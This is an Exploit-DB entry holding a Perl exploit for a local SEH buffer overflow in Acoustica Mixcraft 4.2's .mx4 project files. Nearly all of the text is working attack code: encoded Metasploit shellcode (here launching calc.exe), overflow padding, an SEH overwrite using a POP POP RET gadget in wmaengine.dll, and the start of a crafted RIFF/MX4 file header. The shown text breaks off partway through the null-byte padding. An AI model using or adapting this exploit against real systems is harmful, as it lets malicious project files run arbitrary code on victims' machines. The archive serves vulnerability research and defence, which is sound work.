Exploit-DB #6322
Description: Acoustica Mixcraft 4.2 Build 98 - 'mx4' Local Buffer Overflow
Type: local
Platform: windows
Date: 2008-08-28
Author: Koshi

Exploit:
#!/usr/bin/perl
#
# Acoustica Mixcraft (mx4 file) Local Buffer Overflow Exploit
# Author: Koshi
#
# Date: 08-28-08 ( 0day )
# Application: Acoustica Mixcraft
# Version(s): (Possibly Older) / 4.1 Build 96 / 4.2 Build 98
# Site: http://acoustica.com/mixcraft/download.htm
# Tested On: Windows XP SP3 Fully Patched
#
# A vulnerability exists in an unchecked buffer located in the
# project files (.mx4) for Acoustica Mixcraft4. The buffer should
# contain the file name of an image located in 
# "C:\Program Files\Acoustica Mixcraft 4\mixrez\icons" on a default
# install of Mixcraft, and would be used as the icon for a specific
# "track" or "instrument" in Mixcraft.
# 
# gr33tz: Rima my baby, str0ke, breaker_unit, mess', and my dude who
# showed me this nifty program.
#


# win32_exec -  EXITFUNC=process CMD=calc.exe Size=165 Encoder=ShikataGaNai http://metasploit.com
my $shellcode =
"\xdd\xc3\xd9\x74\x24\xf4\x5b\x29\xc9\xb8\x1f\xb4\xe6\x18\xb1\x24".
"\x83\xeb\xfc\x31\x43\x13\x03\x5c\xa7\x04\xed\x9e\x2f\x8c\x0e\x5e".
"\xb0\x86\x4a\x62\x3b\xe4\x51\xe2\x3a\xfa\xd1\x5d\x25\x8f\xb9\x41".
"\x54\x64\x0c\x0a\x62\xf1\x8e\xe2\xba\xc5\x08\x56\x38\x05\x5e\xa1".
"\x80\x4c\x92\xac\xc0\xba\x59\x95\x90\x18\xa6\x9c\xfd\xea\xf9\x7a".
"\xff\x07\x63\x09\xf3\x9c\xe7\x52\x10\x22\x13\xe7\x34\xaf\xe2\x1c".
"\xcd\xf3\xc0\xe6\x0d\x3a\xc9\x82\x1a\x7d\xf9\xcf\xdd\x06\xf5\x44".
"\x9d\xfa\x8e\x2a\x02\xae\x1a\xa2\x32\x5b\x15\xb9\xc3\x2b\x26\xbd".
"\xc3\xc0\x4f\x81\x9c\xe7\x79\x99\x74\x81\x7e\xda\xb9\xea\x2e\xb4".
"\x47\xd5\x2d\x37\xd0\x7d\x4f\x3d\x2e\x29\x4f\xa6\x4c\xb4\xc3\x4b".
"\xbd\x53\x64\xee\xc1";

my $bof = "A"x324;
my $sled = "\x90"x35;
my $fill = "\x90"x468;
my $buff = "".
	"$bof".
	"\xeb\x06\x90\x90". ### Pointer to next SEH record (Boing!)		    ###
	"\x28\x12\x8b\x01". ### SE handler 0x018b1228 ( wmaengine.dll POP POP RET ) ###
	"$sled".
	"$shellcode".
	"$fill";

my $tuff = "".
	"\x52\x49\x46\x46\xC4\x0F\x00\x00\x4D\x58\x43\x33\x50\x52\x4F\x4A\x60\x0A\x00\x00".
	"\xCD\xCC\xCC\xCC\xCC\xCC\xF4\x3F\x43\x3A\x5C\x44\x6F\x63\x75\x6D\x65\x6E\x74\x73".
	"\x20\x61\x6E\x64\x20\x53\x65\x74\x74\x69\x6E\x67\x73\x5C\x4F\x77\x6E\x65\x72\x5C".
	"\x4D\x79\x20\x44\x6F\x63\x75\x6D\x65\x6E\x74\x73\x5C\x4D\x79\x20\x52\x65\x63\x6F".
	"\x72\x64\x69\x6E\x67\x73\x5C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00